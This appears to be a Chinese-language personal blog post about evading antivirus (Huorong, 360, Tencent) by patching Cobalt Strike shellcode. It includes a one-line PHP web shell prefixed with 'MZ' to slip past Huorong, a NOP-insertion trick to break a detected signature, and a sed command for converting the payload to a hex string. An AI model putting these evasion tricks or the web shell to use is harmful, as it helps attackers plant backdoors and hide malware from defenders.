偶然发现简单修改shellcode可以达到免杀
原项目: https://idiotc4t.com/defense-evasion/hex-execute
火绒,360,腾讯
只有火绒杀了,之后尝试了别的混淆方法,异或什么的也都会报,猜测和shellcode有关系,刚好学了点汇编,想看看shellcode是怎么样的
直接将shellcode写入文件火绒是不会杀的,估计是因为没有PE文件的格式。
忽然想到以前尝试免杀的时候在最简单的一句话前面加个MZ就可以绕过火绒了
1 | MZ<?php eval($_POST['pass']); ?> |
估计火绒先检查文件头的,扯远了
写个简单的输出shellcode就行了,先用CS生成一个C语言的payload
1 |
|
这里先用Visual Stdio编译一下,因为devc++编译完后文件比较大不方便查找
火绒直接报毒,连名字都出来了
现在用myccl查找特征码,过程就不写了,具体可以看以前的文章
提示000013A0_00000002出现特征码,用C32Asm打开文件找到这个位置
右键->对应汇编模式编辑
可以看到被查出的特征码对应的汇编指令是call一个寄存器,这时候就要去网上找等价替换汇编指令
之前还看到call可以替换的..但是一下子找不到了..
然后想到可以通过nop把特征码挤下去,可以看到上面指令结尾是07,去payload里面搜索\x07\xff\xd5,nop的二进制是\x90
修改为\x07\x90\xff\xd5
已经不会被火绒查出来了
在原来的payload.c上面修改,然后去掉\x这些变成字符串
1 | cat payload.c|sed 's/"//g'|sed 's/\\x//g'|sed 's/\n//g'|sed ':a;N;$!ba;s/\n//g' |
再用上面文章的方法即可免杀火绒
这方法写文章再测试的时候已经失效了,可能修改shellcode的方法太简单了,还是需要继续学习汇编,只能当作一个思路记录一下
就一直报代码混淆器,估计换一种混淆方法就行了
疑惑也变多了,一样的代码不同的编译器编出来的大小都不一样,Visual Stdio编译出来可以这种直接免杀,但是DevC++就吃瘪,C语言的基础太薄弱了,需要继续学习